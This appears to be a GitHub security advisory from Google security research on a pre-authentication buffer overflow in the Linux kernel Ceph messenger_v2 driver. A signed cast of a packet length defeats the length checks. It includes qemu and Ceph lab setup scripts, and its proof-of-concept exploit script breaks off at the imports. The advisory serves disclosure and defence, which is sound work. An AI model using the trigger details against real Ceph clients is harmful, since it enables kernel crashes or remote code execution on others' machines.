Linux Kernel: Ceph file system driver buffer overflow

### Summary The Ceph filesystem has a Linux kernel module that receives TCP packets from an IP address. Before any authorization is completed, any device with that IP address can send a packet that results in a buffer overflow in the kernel - a user controlled length is read from a TCP packet(ceph_decode_32(&p) in the link): https://elixir.bootlin.com/linux/v6.4-rc1/source/net/ceph/messenger_v2.c#L520. This u32 is cast into an integer(fd_lens has type int) which can result in a negative value making the checks on fd_lens validity pass. Then this integer is used to calculate the size of a buffer here https://elixir.bootlin.com/linux/v6.4-rc1/source/net/ceph/messenger_v2.c#L1698. The attacker can make the head_len any value - for an overflow to happen the attacker could give a value less than the number of bytes to be copied in here: https://elixir.bootlin.com/linux/v6.4-rc1/source/net/ceph/messenger_v2.c#L1711. Here con->v2.in_buf is also user controlled. ### Severity Moderate - An attacker being able to identify the IP of a device reading the ceph file system can result in a denial of service and remote code execution in the kernel. ### Proof of Concept Create a linux kernel qemu VM following these steps: https://github.com/google/syzkaller/blob/master/docs/linux/setup_ubuntu-host_qemu-vm_x86-64-kernel.md#image Create 2 other disk images, compile the linux kernel, and then run qemu: The bigdisk.img should be about 50GB and the other two at least 10GB ```bash #!/bin/sh qemu-system-x86_64 \ -m 10G \ -smp 2 \ -kernel linux-6.0.1/arch/x86/boot/bzImage \ -nographic \ -append "nokaslr console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0" \ -drive file=image/bigdisk.img,format=raw \ -drive file=image/otherdisk.img,format=raw \ -drive file=image/otherdisk2.img,format=raw \ -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \ -net nic,model=e1000 \ -pidfile vm.pid \ -s \ 2>&1 | tee vm.log ``` Within the qemu VM install ceph using this link https://docs.ceph.com/en/latest/install/index_manual/ or the shell script below: ```bash #!/bin/sh apt update -y && apt install -y vim ceph ceph-mds echo '[global]' >> /etc/ceph/ceph.conf echo 'fsid = 10229502-b892-4925-b21d-00de3c4973eb' >> /etc/ceph/ceph.conf echo 'mon_initial_members = syzkaller' >> /etc/ceph/ceph.conf echo 'mon_host = [v2:10.0.0.1:3300/0,v1:10.0.0.1:6789/0]' >> /etc/ceph/ceph.conf ceph-authtool --create-keyring /tmp/ceph.mon.keyring --gen-key -n mon. --cap mon 'allow *' ceph-authtool --create-keyring /etc/ceph/ceph.client.admin.keyring --gen-key -n client.admin --cap mon 'allow *' --cap osd 'allow *' --cap mds 'allow *' --cap mgr 'allow *' ceph-authtool --create-keyring /var/lib/ceph/bootstrap-osd/ceph.keyring --gen-key -n client.bootstrap-osd --cap mon 'profile bootstrap-osd' --cap mgr 'allow r' ceph-authtool /tmp/ceph.mon.keyring --import-keyring /etc/ceph/ceph.client.admin.keyring ceph-authtool /tmp/ceph.mon.keyring --import-keyring /var/lib/ceph/bootstrap-osd/ceph.keyring chown ceph:ceph /tmp/ceph.mon.keyring monmaptool --create --add syzkaller 10.0.2.15 --fsid 10229502-b892-4925-b21d-00de3c4973eb /tmp/monmap sudo -u ceph mkdir /var/lib/ceph/mon/ceph-syzkaller sudo -u ceph ceph-mon --mkfs -i syzkaller --monmap /tmp/monmap --keyring /tmp/ceph.mon.keyring systemctl start ceph-mon@syzkaller mkdir -p /mnt/mycephfs ``` By executing this script locally to send the packet: ```python #!/usr/bin/python3 from [pwn](https://source.corp.google.com/search?q=file%3A%28%2F%7C%5E%29pwn%28%5C.%28clif%7Cswig%7Cpy%7Cpyx%7Cspt%29%24%7C%2F%28__init__%5C.%28clif%7Cswig%7Cpy%7Cpyx%7Cspt%29%29%3F%24%29) import * from [crc32c](https://source.corp.google.com/search?q=file%3A%28%2F%7C%5E%29crc32c%28%5C.%28clif%7Cswig%7Cpy%7Cpyx%7Cspt%29%24%7C%2F%28__init__%5C.%28clif%7Cswig%7Cpy%7Cpyx%7Cspt%29%29%3F%24%29) import [cr

Severity from

GitHub (reviewed advisory)

Weakness

CWE-122, CWE-680

• github.com/google/security-research/security/advisories/GHSA-jg27-jx6w-xwph
• github.com/google/security-research